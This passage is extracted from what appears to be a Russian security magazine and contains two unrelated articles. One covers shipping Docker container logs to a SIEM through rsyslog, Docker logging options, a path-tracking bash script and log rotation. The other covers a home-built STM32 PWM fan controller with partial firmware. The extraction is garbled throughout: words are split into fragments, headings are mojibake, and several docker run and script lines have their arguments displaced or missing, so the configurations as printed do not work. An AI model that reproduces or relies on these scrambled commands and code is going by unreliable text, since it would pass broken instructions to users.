с умол чатель ным драй вером json-le это мож но сде лать средс тва ми Rsyslog.
Это стан дар тный метод пересы лать события в сис темы клас са Log
management или Security information and event management (LM/SIEM).

При мер фай ла с нас трой ками:

module( 
 load="imfile" PollingInterval="10") 
 input(type="imfile" File="/var/lib/docker/containers/*/*-json.log" 
 Tag="docker" 
 Severity="Info" 
 Facility="local7") 

local7.* @<ip-адрес коллектора LM/SIEM-системы>:<порт> 

С помощью мас ки  мож но ука зать путь к жур налам всех кон тей- 

неров, раз верну тых на хос те. Но в ито ге на сто роне LM/SIEM-сис темы
получим общий поток событий, в котором не смо жем отли чить, с какого кон- 
тей нера получе но то или иное событие. А для локали зации ИБ-инци ден та
это край не важ но, осо бен но если кон тей неров нес коль ко десят ков или даже
сотен.

*/*-json.log

Ни же — при меры двух событий, получен ных из раз ных кон тей неров, но,
с каких имен но кон тей неров они приш ли, опре делить слож но:

<190>Apr  5 09:25:01 srv-01 docker {
 "log":"2024-04-05 06:25:01.123 UTC [72]FATAL:  password 

authentication failed for user "admin"\r\n",
 "stream":"stdout",
 "time":"2024-04-05T06:25:01.124670483Z"

}

<190>Apr  5 09:32:53 srv-01 docker {
 "log":"::ffff:10.10.10.1 - - [05/Apr/2024:06:32:53 +0000] "POST /

authenticate/login HTTP/1.1" 302 199 "http://10.10.10.170:5051/
login?next=%2Fbrowser%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
"\n",
 "stream":"stdout",
 "time":"2024-04-05T06:32:53.985501905Z"

}

Ка кие тут могут быть вари анты решения проб лемы?

Ðåøåíèå 1
Мы можем добавить в события допол нитель ные дан ные:

об раз, с которо го был раз вернут кон тей нер;•
имя кон тей нера;•
ID кон тей нера.•

Для это го необ ходимо в кон фиг демона Docker 
добавить шаб лон тега, который будет при менять ся к жур налам всех кон тей- 
неров:

/etc/docker/daemon.json

{
 "log-driver": "json-file",
 "log-opts": {
   "max-size": "10m",
   "max-file": "3",
   "tag": "{{.ImageName}}/{{.Name}}/{{.ID}}"
 }

}

В ито ге события будут обо гаще ны кон текс тны ми дан ными, как ука зано в при- 
мерах событий ниже:

<190>Apr  5 09:52:25 srv-01 docker {
 "log":"2024-04-05 06:52:25.632 UTC [44] FATAL:  password 

authentication failed for user "admin"\r\n",
 "stream":"stdout",
 "attrs": {"tag":"postgres/postgresql/1b1bfdf7ea5d"},
 "time":"2024-04-05T06:52:25.63500247Z"

}

<190>Apr  5 09:48:53 srv-01 docker {
 "log":"::ffff:10.10.10.1 - - [05/Apr/2024:06:48:53 +0000] "POST /

authenticate/login HTTP/1.1" 302 199 "http://10.10.10.170:5051/login
" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"\n",
 "stream":"stdout",
 "attrs":{"tag":"dpage/pgadmin4/pgadmin/8270d2eec30b"},
 "time":"2024-04-05T06:48:53.504262326Z"

}

Но здесь сра зу сто ит отме тить, что такой вари ант под разуме вает вне сение
изме нений в кон фигура цию Docker, а это пот ребу ет переза пус кать демон
и заново соз давать кон тей неры, пос коль ку на уже запущен ные кон тей неры
эта нас трой ка рас простра нять ся не будет. Дадут ли это сде лать коман ды соп- 
ровож дения (ops), боль шой воп рос.

Еще мож но пере опре делить шаб лон тега для кон крет ного кон тей нера
при его запус ке коман дой  или средс тва ми .
При меры пере опре деле ния при веде ны ниже.

docker run docker compose

docker run \
 -itd \

 -e POSTGRES_USER=<username> \
 -e POSTGRES_PASSWORD=<password>\

-p 5432:5432 \
-v /data:/var/lib/postgresql/data \
--name postgresql \
--log-driver json-file \
   10m --log-opt max-size= \
   3 --log-opt max-file= \
     --log-opt tag="{{.Name}}/{{.ID}}" \
postgres 

docker-compose.yml
 version: '3.9'

services:
 postgres:
     container_name: postgresql
     image: postgres
    environment:

          POSTGRES_USER: ${POSTGRES_USER:-<username>}
          POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:- <password>}

          PGDATA: "/var/lib/postgresql/data/pgdata"
     volumes:

          - data:/var/lib/postgresql/data
      ports:

          - "5432:5432"
      logging:

          driver: json-file
         options:

              max-size: 10m
              max-file: "3"

              tag: "{{.Name}}/{{.ID}}"

В этом слу чае пот ребу ется толь ко пересоз дание кон тей неров с новыми
парамет рами, что тоже на прак тике, к сожале нию, не всег да воз можно.

Ðåøåíèå 2
В качес тве аль тер натив ного вари анта мож но нас тро ить Docker так, что бы
жур налы кон тей неров записы вались в фор мате Syslog на хост Docker, а далее
средс тва ми Rsyslog отправ лять их на кол лектор сис темы LM/SIEM.

Для это го пере опре делим драй вер ведения жур нала в 

 на Syslog. В качес тве парамет ров нуж но ука зать сис темный
сокет для отправ ки жур налов в сис темный жур нал хос та и опре делить тег
с име нем кон тей нера:

/etc/docker/
daemon.json

{
"log-driver": "syslog",
"log-opts": {
"syslog-address": "unixgram:///dev/log",
"tag" : "docker/{{.Name}}"
}

}

За тем соз даем кон фигура цион ный файл Rsyslog 

, который будет филь тро вать события и записы вать их в отдель- 

ные фай лы:

/etc/rsyslog.d/10-
docker.conf

$FileCreateMode 0644 
$template DockerDaemonLogFileName,"/var/log/docker/docker.log" 
$template DockerContainerLogFileName,"/var/log/docker/%SYSLOGTAG:R,
ERE,1,FIELD:docker/(.*)\[--end:secpath-replace%.log" 
if $programname == 'dockerd' then { 
?DockerDaemonLogFileName 
stop 

} 
if $programname == 'containerd' then { 
?DockerDaemonLogFileName 
stop 

} 
if $programname == 'docker' then { 
if $syslogtag contains 'docker/' then { 
?DockerContainerLogFileName 
stop 
} 
} 
$FileCreateMode 0600 

Пос ле переза пус ка служ бы Rsyslog события демона Docker и каж дого кон тей- 
нера нач нут записы вать ся в отдель ные фай лы в каталог ./var/log/docker/

Да лее соз даем кон фиг ,

который будет вычиты вать эти жур налы и пересы лать на кол лектор сис темы
LM/SIEM:

/etc/rsyslog.d/10-siem-docker-logs.conf

module(load="imfile" PollingInterval="10") 
input(type="imfile" File="/var/log/docker/*.log" 
Severity="info" 
Facility="local7") 
local7.* @<ip-адрес коллектора LM/SIEM-системы>:<порт> 

Ну и пос ледним пун ктом необ ходимо нас тро ить ротацию этих жур налов
средс тва ми logrotate в фай ле :/etc/logrotate.d/rsyslog-docker

/var/log/docker/*.log
{
daily
rotate 10
minsize 200M
missingok
notifempty
compress
sharedscripts
postrotate
/usr/lib/rsyslog/rsyslog-rotate
endscript

}

Но такой вари ант под разуме вает вне сение изме нений в нас трой ки Docker,
что пот ребу ет переза пус тить демон и соз дать кон тей неры заново.

Ñáîð ñîáûòèé ñ îäíîãî êîíòåéíåðà
Ес ли сто ит задача собирать события с одно го кон крет ного кон тей нера, то мы
стал кива емся с проб лемой непос тоянс тва пути к фай лу жур нала.

Нап ример, при нас трой ке сбо ра событий из фай ла необ ходимо ука зать
абсо лют ный путь к log-фай лу кон крет ного кон тей нера, как в при мере ниже:

 module(load="imfile" PollingInterval="10")
 input(type="imfile" File="/var/lib/docker/containers/

79aac53d21cac323b13f506e295cb13bfa28e8f68b91d2760a5d878879678141/
79aac53d21cac323b13f506e295cb13bfa28e8f68b91d2760a5d878879678141-
json.
log"
Tag="docker/postgresql"
Severity="info"
Facility="local7")

   local7.* @<ip-адрес коллектора LM/SIEM-системы>:<порт>

Но во вре мя экс плу ата ции кон тей нер может быть уда лен и запущен с новыми
парамет рами. Из-за это го кон тей неру будет прис воен новый ID и изме нит ся
путь к log-фай лу. Это тре бует опе ратив ной перенас трой ки Rsyslog, ина че
мож но потерять события, в том чис ле отно сящи еся к безопас ности. Давай
рас смот рим вари анты решения проб лемы.
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Мы можем сме нить для это го кон тей нера драй вер ведения жур нала на Syslog
и с помощью парамет ров нас тро ить отправ ку событий в нуж ном нам фор мате
на кол лектор сис темы LM/SIEM.

Здесь исполь зует ся метод сбо ра push (то есть источник событий в лице
кон тей нер ного при ложе ния сам отправ ляет события в LM/SIEM) и мы не при- 
вязы ваем ся к пути log-фай ла (то есть не тре бует ся из него вычиты вать кол- 
лекто ром LM/SIEM). Пере опре деле ние пот ребу ет заново соз дать кон тей нер
и добавить новые парамет ры ведения жур нала:

docker run \
  --log-driver syslog \
   --log-opt mode=non-blocking \
  20m --log-opt max-buffer-size= \
    --log-opt tag="{{.Name}}/{{.ID}}" \
  --log-opt syslog-format=rfc3164 \
  --log-opt syslog-address=udp://<ip-адрес коллектора LM/
SIEM-системы>:<порт> \

docker-compose.yml
logging: 
 driver: syslog 
 options: 
    mode: non-blocking 
    max-buffer-size: 20m 
    tag: "{{.Name}}/{{.ID}}"
    syslog-format: rfc3164 
    syslog-address: "udp://<ip-адрес коллектора LM/SIEM-системы>:<
порт>"

Но сно ва стал кива емся с тем, что кон тей нер иног да соз дает ся заново — нап-
ример, при обновле нии или обслу жива нии при ложе ния.

А что делать, если нам нуж но нас тро ить сбор событий с кон крет ного кон- 
тей нера пря мо сей час? Или если коман ды раз работ ки и соп ровож дения пол- 
ностью устра ивает нас тро енное жур налиро вание с драй вером json-le и они
не хотят ничего менять?

В этом слу чае для спе циалис тов по информа цион ной безопас ности
сущес тву ет аль тер натив ный вари ант, о котором погово рим ниже.

Âòîðîé âàðèàíò ðåøåíèÿ äëÿ ñáîðà ñîáûòèé ñ îäíîãî êîíòåéíåðà
Этот вари ант под разуме вает исполь зование Bash-скрип та для отсле жива ния
изме нения пути к фай лу и опе ратив ного обновле ния его в нас трой ках Rsyslog.
Вот при мер такого скрип та:

#!/bin/bash
collector_address="10.10.10.10"
collector_port="514"
container_name=postgresql 

 cont_logpath=$(docker inspect --format='{{.LogPath}}' $container_name
)

  command_output=$(cat /etc/rsyslog.d/10-postgresql-siem.conf | grep -o
$cont_logpath)

 container_id=$(docker ps -aqf "name=$container_name")
rsyslog_tag="$container_name $container_id"

 echo $rsyslog_tag
      if [[ "$cont_logpath" == "$command_output" ]]

then
 echo "LogPath matches"

else
  10

info
 

echo -e "module(load="imfile" PollingInterval=" ")\ninput(type="
imfile" File="$cont_logpath"\nTag="$rsyslog_tag"\nSeverity=" "\n
Facility="local7")\nlocal7.* @$collector_address:$collector_port" > /
etc/rsyslog.d/10-postgresql-siem.conf 
systemctl restart rsyslog.service 

fi

Скрипт выпол няет сле дующие дей ствия:
оп ределя ет с помощью коман ды  текущий путь к фай лу
жур нала кон тей нера;

• docker inspect

оп ределя ет путь к фай лу жур нала кон тей нера, про писан ный в ука зан ном
фай ле кон фигура ции Rsyslog;

•

фор миру ет тег Rsyslog из име ни кон тей нера и его сок ращен ного ID;•
срав нива ет пути и, если они не сов пада ют, обновля ет путь к фай лу в кон- 
фиге Rsyslog;

•

пе реза пус кает служ бы Rsyslog для при мене ния изме нений.•

Для кас томиза ции скрип та тебе пот ребу ется:
ука зать IP-адрес и порт кол лекто ра LM/SIEM-сис темы
( );

•
collector_address

ука зать имя кон тей нера ( );• postgresql

ука зать имя фай ла кон фигура ции rsyslog ( );• 10-postgresql-siem.conf

ука зать парамет ры Syslog для Severity ( ) и Facility ( );• info local7

сде лать скрипт исполня емым;•
до бавить скрипт в crontab и задать выпол нение, нап ример, каж дую минуту.•

В резуль тате работы скрип та всег да будет получать ся акту аль ный файл нас- 
тро ек Rsyslog (точ нее, поч ти всег да, так как есть неболь шая веро ятность
попасть на 60-секун дный «про вал»). Как следс твие — прак тичес ки неп рерыв- 
но работа ющая задача сбо ра событий, в том чис ле событий безопас ности.

ÐÎÒÀÖÈß ÆÓÐÍÀËÎÂ

Нуж но ска зать еще пару слов про ротацию логов, так как при исполь зовании
драй вера json-le ротация жур налов кон тей нер ных при ложе ний по умол чанию
не про исхо дит. А она важ на, что бы всем в кон тей нере хва тало мес та и что бы
мы не соз дали отказ в обслу жива нии сами себе. Сущес тву ют два вари анта
нас трой ки ротации жур налов.

Ïåðâûé âàðèàíò ðîòàöèè
Мо жем задать парамет ры ротации жур налов как на уров не демона Docker
для всех вновь соз дава емых кон тей неров, так и при необ ходимос ти на уров- 
не кон крет ного кон тей нера.

/etc/docker/daemon.json
{
 "log-driver": "json-file",
 "log-opts": {
   "max-size": "10m",
   "max-file": "3"
}

}

docker run --log-driver json-file \
   10m --log-opt max-size= \
   3 --log-opt max-file= \

docker-compose.yml
logging: 
     driver: "json-file"
     options: 
       max-size: 10m 
       max-file: "3"

Âòîðîé âàðèàíò ðîòàöèè
Средс тва ми стан дар тной встро енной ути литы logrotate зада ем ротацию
для всех кон тей неров.

/etc/logrotate.d/docker
/ .log /var/lib/docker/containers/* * {

rotate 7 
daily 
compress 
missingok 
delaycompress 
copytruncate 

}

ÂÛÂÎÄÛ

По пуляр ность Docker все рас тет, и он уже стал одним из ведущих решений.
Но к сожале нию, воз можность работать с ним пока появи лась не во всех
решени ях для обес печения безопас ности, а монито ринг кон тей неров нужен
уже сей час. Наде юсь, статья поможет тебе пок рыть это отста вание. А заод но
не поругать ся с пред ста вите лями дру гих команд в ком пании!



Candidum
duospirit@gmail.com

GEEK

У нас тояще го хакера холод ными дол жны
быть не толь ко сер дце или разум, но и
в пер вую оче редь компь ютер ное железо.
Что бы избе жать его перег рева, исполь- 
зуют ся раз личные аппа рат ные сис темы
управле ния вен тилято рами охлажде ния.
Одна ко готовые решения либо слиш ком
дорогие, либо черес чур при митив ные. Зна- 
чит, нуж но соб рать такое устрой ство
самос тоятель но! Сей час рас ска жу как.

В боль шинс тве сов ремен ных материн ских плат при сутс тву ет край не удоб ная
фун кция управле ния вен тилято рами охлажде ния, поз воля ющая динами чес ки
менять обо роты кулеров в зависи мос ти от тем перату ры про цес сора.
Это дает воз можность не гонять пыль заз ря, ког да машина прос таивает,
а заод но сущес твен но сни зить шум. Нас трой ка этой сис темы обыч но выпол- 
няет ся в UEFI или с исполь зовани ем ути лит от про изво дите ля материн ской
пла ты. А что делать, если подоб ные вари анты недос тупны? При дет ся взять ся
за паяль ник и добавить необ ходимую фун кци ональ ность самос тоятель но.

ÈÇÂÅÑÒÍÛÅ ÐÅØÅÍÈß

На али ке про дает ся мно жес тво готовых решений, одна ко мне ни одно не пон- 
равилось. Так, при обре тен ная мной китай ская пла та на повер ку ока залась
линей ным регуля тором нап ряжения!

Кон трол лер на восемь кулеров

А я все смот рел на нее и думал, зачем там такие мощ ные полеви ки сто ят.
Ответ прост: они работа ют в линей ном режиме. Нет, желез ка, конеч но, обо- 
роты регули рует, одна ко при пониже нии нап ряжения в какой-то момент
кулеры оста нав лива ются, и это про исхо дит далеко не в край нем положе нии
движ ка резис тора. При этом на тран зисто ре регуля тора мощ ность про дол- 
жает рас сеивать ся в виде теп ла. Мне такое и даром не нуж но.

Спра вед ливос ти ради надо ска зать, что желез ка эта дешевая и оди нако во
работа ет со все ми типами кулеров на 12 В. Сущес тву ют, конеч но, шту ки
посерь езнее, с дис пле ем и мно жес твом нас тро ек, но на мой вкус они дико
избы точ ны, с одной сто роны, и дороги — с дру гой. Смот рятся они при коль но,
но бес толко во.

Прод винутый кон трол лер кулеров

Кро ме того, сущес тву ет немало схем самодель ных кон трол леров, но перед
тем, как рас смот реть некото рые из них, раз берем ся спер ва с самими вен- 
тилято рами.

ÀÍÀÒÎÌÈß È ÔÈÇÈÎËÎÃÈß ÂÅÍÒÈËßÒÎÐÀ

Низ коволь тные вен тилято ры исполь зуют бес щеточ ные дви гате ли пос тоян-
ного тока и раз лича ются меж ду собой в основном типом интерфей са. Мелочи
вро де раз ного нап ряжения питания вро де 5, 12, 24 В и далее со все ми оста- 
нов ками оста вим за кад ром, как оче вид ные.

Вен тилято ры быва ют двух про вод ные, трех про вод ные и четырех про вод- 
ные. С пер выми все прос то и понят но: два про вода — это питание, подал
на них нап ряжение — кру тит, отклю чил — не кру тит. В трех про вод ном
интерфей се к лини ям питания добав ляет ся выход тахомет ра, выда юще го
по два импуль са на обо рот кулера. Этот вывод пред став ляет собой выход
с откры тым кол лекто ром, ины ми сло вами, ему нуж на под тяжка к плю су
питания для работы.

В четырех про вод ном вари анте пре дус мотрен допол нитель ный вывод
для кон тро ля обо ротов, которые зада ются ШИМ-сиг налом. У выхода есть
внут ренняя под тяжка к плю су, поэто му, если его оста вить висеть в воз духе,
обо роты будут мак сималь ны. А еще для подачи ШИМ-сиг нала мож но исполь- 
зовать выход с откры тым кол лекто ром.

Рас пинов ка кулеров

Лег ко видеть, что такая рас пинов ка обес печива ет пол ную обратную сов- 
мести мость, поэто му нет нуж ды ломать голову, какой кулер под клю чать
к материн ской пла те. Работать будет любой, под ходящий по нап ряжению.
Теперь, воору жив шись стать ей 

, раз берем ся, как устро ены вен тилято ры. Итак, сер дцем
бес щеточ ного мотора вен тилято ра явля ется , который опре- 
деля ет положе ние маг нитно го ротора. Ког да к дат чику приб лижа ется север- 
ный полюс маг нита, на его выходе обра зует ся логичес кая еди ница, с южным
полюсом — наобо рот.

Why and How to Control Fan Speed for Cooling
Electronic Equipment

дат чик Хол ла

К пояс нению работы дат чика Хол ла

Собс твен но, сиг нал с дат чика Хол ла слу жит для управле ния клю чами, пита- 
ющи ми катуш ки, и типич ная упро щен ная схе ма бес щеточ ного вен тилято ра
выг лядит так.

Схе ма бес щеточ ных вен тилято ров 3pin и 4pin

Здесь вид но, отку да берет ся сиг нал тахомет ра и что он собой пред став ляет,
а так же как к это му делу при ладить ШИМ-кон троль обо ротов. Обра ти вни- 
мание, что управля емый ШИМ-сиг налом ключ ком мутиру ет толь ко силовую
часть мотора, не нарушая работу дат чика Хол ла и поз воляя кор рек тно опре- 
делить чис ло обо ротов незави симо от уров ня сиг нала на выводе PWM. Двух- 
про вод ной вен тилятор отли чает ся лишь тем, что наружу не выведен выход
TACHO. А на прак тике это может выг лядеть еще про ще — упа кован ным в одну
мик росхе му, где будут сра зу и дат чик, и клю чи, и про чая обвязка.

Мо тор вен тилято ра на одной мик росхе ме

INFO

Вот  и  один  ковыря ет
вен тилятор от компь ютер ного бло ка питания.
У него даже есть , неп лохо пояс няющее
прин цип работы кулера.

здесь здесь ве селый чех

ви део

ÒÀÊ ÊÀÊ ÆÅ ÈÌ ÐÓËÈÒÜ?

Су щес тву ют четыре клас сичес ких под хода к управле нию обо рота ми вен- 
тилято ров, их мы и рас смот рим. Сра зу ска жу, что чет вертый — наибо лее
пред почти тель ный.

Âàðèàíò ïåðâûé. Äèñêðåòíûé
Тут все прос то. Вен тилятор вклю чает ся, толь ко ког да это необ ходимо, а в
осталь ное вре мя он вык лючен. Пос ле вклю чения он работа ет на мак сималь- 
ных обо ротах. Вари ант хороший, одна ко он далеко не всег да при меним, так
как во мно гих слу чаях активное охлажде ние необ ходимо и на холос том ходу,
поэто му оста нав ливать ся тут смыс ла я не вижу.

Âàðèàíò âòîðîé. Ëèíåéíûé ðåãóëÿòîð
На вен тилятор пода ется питание с линей ного регуля тора. Ины ми сло вами,
ког да нуж но сни зить обо роты, на кулер пода ют мень ше штат ных 12 В, и ско- 
рость вра щения сни жает ся. Так как вход ное нап ряжение у нас уже ста биль- 
ное и отфиль тро ван ное, то ста вить спе циали зиро ван ную мик росхе му типа

 необя затель но, мож но обой тись и прос тым  или исто- 
ковым пов торите лем либо исполь зовать источник тока.
LM317 эмит терным

Ли ней ный регуля тор обо ротов

Ва риант прос той и уни вер саль ный, пос коль ку под ходит для любого типа вен- 
тилято ров. Широко исполь зует ся китай цами. Подоб ные устрой ства сто ят
око ло 300 руб лей, так что дешев ле их купить, чем собирать самому. Упо мяну- 
тый выше китай ский кон трол лер работа ет имен но так.

Но у это го решения есть нес коль ко серь езных минусов. Во-пер вых, бес- 
щеточ ным вен тилято рам нуж но поряд ка 5 В для питания дат чика Хол ла, ина че
кру тить ся он не будет, и такой режим работы для дви гате ля явно неш татный.
Для «пятиволь товых» кулеров это еще б ль шая проб лема, так как у них диапа- 
зон нап ряжений, при которых сох раня ется работос пособ ность, зна читель но
уже.

î

Во-вто рых, нап ряжение, при котором дви гатель стар тует, всег да чуть
выше нап ряжения, при котором он оста нав лива ется. То есть если выс тавить
низ кие обо роты, то вен тилятор может не запус тить ся при вклю чении. И третья
неп рият ность — низ кий КПД, пос коль ку вся мощ ность, которая пада ет
на регуля торе, будет ухо дить в теп ло.

Âàðèàíò òðåòèé. Ìåäëåííûé ØÈÌ ïî ïèòàíèþ
Этот спо соб лишен боль шинс тва недос татков пре дыду щего и дос таточ но
час то исполь зует ся. Суть его сос тоит в том, что дви гатель пита ется
ШИМ-сиг налом.

ШИМ-регуля тор обо ротов

Глав ное — выб рать невысо кую час тоту ШИМ-сиг нала. Нап ример, в пред став- 
ленной схе ме час тота дол жна быть око ло 50 Гц. Схе ма подой дет для любого
из рас смот ренных нами вен тилято ров, единс твен ная проб лема воз никнет
с сиг налом тахомет ра: он будет некор рек тным. Впро чем, выбор час тоты
ШИМ-сиг нала ниже час тоты тахомет ра отчасти реша ет эту проб лему.

С КПД у дан ной схе мы тоже все в поряд ке. Если надо регули ровать обо- 
роты двух- или трех про вод ного кулера, то это луч шее решение. Из минусов
толь ко проб лемы с изме рени ем час тоты обо ротов. Любопыт но, что если
уста новить парал лель но дви гате лю кон денса тор на нес коль ко десят ков мик- 
рофарад, то схе ма нач нет работать как опи сан ный выше линей ный регуля тор.

Âàðèàíò ÷åòâåðòûé, øòàòíûé
Как извес тно, в про мыш леннос ти сидят далеко не глу пые инже неры. Само
собой, они при дума ли спо соб регули ров ки обо ротов. Так появи лись четырех- 
пиновые кулеры. Они поз воля ют не толь ко штат но менять обо роты, но и
отсле живать их изме нение, бла года ря чему мож но, нап ример, вов ремя
выявить неис прав ность вен тилято ра. Как это работа ет? Так же, как и в пре- 
дыду щем спо собе, толь ко ШИМ-сиг нал ком мутиру ет непос редс твен но
обмотки дви гате ля, а дат чик Хол ла при этом пос тоян но получа ет питание.

Со ответс твен но, обо роты изме ряют ся кор рек тно в любом слу чае.
На интерфейс четырех пиновых кулеров есть нес коль ко спе цифи каций — пос- 
тарше от  и пос вежее от . Выжим ка глав ной сути этих докумен тов
зву чит так:

Intel Noctua

вы вод TACHO с откры тым кол лекто ром для работы нуж дает ся в под тяжке
к питанию и выда ет по два импуль са на обо рот вала;

•

вход PWM име ет внут реннюю под тяжку к +5 В и может быть под клю чен
как к CMOS-выводу (нап ример, GPIO), так и к выходу с откры тым кол лекто- 
ром. Спе цифи кация от Noctua стро же и не рекомен дует исполь зовать
откры тый кол лектор, ссы лаясь на то, что завален ные перед ние фрон ты
импуль сов могут сде лать работу вен тилято ра неп ред ска зуемой. В любом
слу чае сиг нал на вхо де PWM не дол жен пре вышать +5 В, ина че кулер вый- 
дет из строя;

•

час тота ШИМ-сиг нала дол жна лежать в интерва ле от 21 до 27 кГц,
рекомен дован ная — 25 кГц;

•

сте пень запол нения ШИМ-сиг нала от 20 до 100%, ниже 20% поведе ние
неоп ределен ное. В боль шинс тве слу чаев обо роты оста ются минималь- 
ными и не регули руют ся в сто рону умень шения.

•

На прак тике я погонял китай ский сер верный кулер с ГСС в раз ных режимах
и могу ска зать, что PWM оди нако во хорошо работа ет и с откры тым кол лекто- 
ром, и с полумос товым выходом. Час тота ШИМ-сиг нала роли не игра ет, вен- 
тилятор работа ет и с 1 кГц, и с 40 кГц, раз ницы на глаз не вид но. Прав да,
пишут, что если взять час тоту ШИМ в зву ковом диапа зоне, то кулер может
начать пищать, поэто му ука зан ный в спе цифи кации диапа зон выг лядит разум- 
но. На рисун ке пред став лена прак тичес кая схе ма ШИМ-регуля тора
на NE555.

Схе ма ШИМ-регуля тора на NE555

WARNING

Об рати вни мание, что в дан ном слу чае
NE555 пита ется от +5 В. Если подать на вход
PWM +12 В, кулер сго рит, я про верил!

Собс твен но, если перед тобой не сто ит задача имен но управлять обо рота ми,
а хочет ся их прос то сни зить, что бы сис тема охлажде ния работа ла потише,
мож но исполь зовать обыч ный муль тивиб ратор на логике или «рас сыпухе».
Коэф фици ент запол нения будет 50%, соот ветс твен но, и обо роты 50%, а вот
шум упа дет очень сущес твен но. Впро чем, даже к муль тивиб ратору мож но
прик рутить регули ров ку запол нения.

ÎÒ ÒÅÎÐÈÈ Ê ÏÐÀÊÒÈÊÅ

Что-то подоб ное я понача лу и пла ниро вал соб рать, одна ко, пораз мыслив,
понял, что неудоб но каж дый раз кру тить руч ку, ведь компь ютер может рас- 
полагать ся далеко. Нуж но реали зовать прог рам мное управле ние, а руч ка —
это допол нитель ная опция. Оста лось решить, как общать ся с компь юте ром.
Пря мо ска жем, мне очень хотелось исполь зовать UART, тем паче что
на материн ской пла те, под которую это ваялось, есть COM-порт, но к UART
нужен пре обра зова тель уров ней, а зна чит, приш лось бы добав лять лиш ний
кор пус. Поэто му такой вари ант я отбро сил сра зу.

Чуть доль ше я раз мышлял над аппа рат ным USB-UART на FT232, но это
тоже лютая избы точ ность. Думал даже исполь зовать FT232 непос редс твен но
для генера ции ШИМ, но такой вари ант пот ребовал бы пос тоян но работа- 
ющей прог раммы на компь юте ре, а мне хотелось иметь дос таточ ную сте пень
авто ном ности. В ито ге я оста новил ся на STM32F103 и его аппа рат ном USB.

Пря мо ска жу, еще ког да я ковырял , работать с USB мне не пон- 
равилось, но, видимо, отвертеть ся тут не удас тся. Итак, кон цепт такой:
устрой ство со сто роны компь юте ра выг лядит как эму лятор COM-пор та и слу- 
шает коман ды в тек сто вом виде. Получив коман ду, устрой ство нас тра ивает
скваж ность ШИМ-сиг нала, иду щего на кулеры. Схем ка вырисо выва ется сов- 
сем прос той, поэто му я решил даже не раз водить отдель ную пла ту, а исполь- 
зовать Blue pill. При этом я решил исполь зовать выходы в режиме «откры тый
кол лектор» и добавил тран зистор ную сбор ку, которая напа яна «летуч кой»
на пла те переход ника SOIC16/DIP. На мой взгляд, так чуть ниже веро ятность
что-то сжечь. Вся осталь ная обвязка уже уста нов лена на Blue pill. Ниже пред- 
став лена редуци рован ная схе ма Blue pill и под клю чение к ней тран зистор ной
сбор ки и вен тилято ров.

bad USB

Схе ма устрой ства

А так это выг лядит в сбо ре.

Ус трой ство в сбо ре

Продолжение статьи →
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В этот раз про шив ка будет прос тень кой. В при мерах к биб лиоте ке 
есть реали зация устрой ства cdcacm (Communication Device Class (CDC)
Abstract Control Model (ACM) USB Devices). Со сто роны компь юте ра
это устрой ство видит ся как эму лятор COM-пор та. При чем, так как порт вир- 
туаль ный и на самом деле обще ние идет пакета ми через USB, необ- 
ходимость нас тра ивать этот порт отпа дает. Оста лось толь ко внес ти неболь- 
шие прав ки в код.

libopencm3

До бав ляем ини циали зацию тай мера TIM1, соз даем фун кцию для записи
сим волов в буфер команд, которая счи тыва ет из буфера коман ду, как толь ко
получит , и выс тавля ет извле чен ные из коман ды зна чения ШИМ.

Еще, разуме ется, нем ного под редак тиру ем фун кцию ,

что бы все это зарабо тало. Пос коль ку фун кций у устрой ства нем ного и про- 
шив ка прос тая, мож но исполь зовать для пар синга коман ды фун кцию 

 из стан дар тной биб лиоте ки.

RETURN '\r'
cdcacm_data_rx_cb()

sscanf(
)

...
#include <libopencm3/stm32/timer.h>
#include <stdio.h>
#include <string.h>
...

 char bufer[128];
  unsigned int fana=50;
  unsigned int fanb=50;
  unsigned int fanc=50;

...
     void bufer_write(char *str, unsigned int strlen){

      static unsigned int pos=0;
     unsigned int i=0;
     unsigned int write_done=0;
     if(!write_done && strlen<=(127-pos)){

            for(unsigned int i=0; i<strlen; i++) bufer[pos++]=str[i];
       write_done=1;
       }
     if(!write_done && strlen>=(127-pos)){

        while(pos<128) bufer[pos++]=str[i++];
       pos=0;

        while(i<strlen) bufer[pos++]=str[i++];
       write_done=1;
       }
   if(bufer[pos-1]=='\r'){
       pos=0;
       run_cmd();/* gpio_toggle(GPIOB, GPIO12);*/
       }
   if(pos==128)pos=0;
   bufer[pos]=0;
   }

 void run_cmd(){
   if(!strncmp(bufer,"set",3)){
       //printf("Найдена команда\n");

         sscanf(bufer, "set %d %d %d\r", &fana,&fanb,&fanc);
        gpio_toggle(GPIOB, GPIO12);

          for(uint8_t i=0; i<64;i++) bufer[i]=0;
       pwmset();
       //RUNCMD=0;
       //printf("%d %d %d \n",fana,fanb,fanc);
       }
   }

     static void cdcacm_data_rx_cb(usbd_device *usbd_dev, uint8_t ep)
{
   (void)ep;
   (void)usbd_dev;

    char buf[64];
         int len = usbd_ep_read_packet(usbd_dev, 0x01, buf, 64);

     if (len) {
       //usbd_ep_write_packet(usbd_dev, 0x82, "test", 4);

          usbd_ep_write_packet(usbd_dev, 0x82, buf, len);
       //buf[len] = 0;
       bufer_write(buf,len);
   }
}
...

 void pwm_init(){
   rcc_periph_clock_enable(RCC_TIM1);
   rcc_periph_clock_enable(RCC_GPIOA);

   // for F1....
   rcc_periph_clock_enable(RCC_AFIO);
     

 
gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ,

GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO8);
     

 
gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ,

GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO9);
     

 
gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ,

GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO10);
   //gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, 
GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO11);

   rcc_periph_clock_enable(RCC_TIM1);
     timer_set_mode(TIM1, TIM_CR1_CKD_CK_INT, TIM_CR1_CMS_EDGE,
                  TIM_CR1_DIR_UP);
   timer_set_prescaler(TIM1,28);
     timer_set_oc_mode(TIM1, TIM_OC1, TIM_OCM_PWM2);
     timer_set_oc_mode(TIM1, TIM_OC2, TIM_OCM_PWM2);
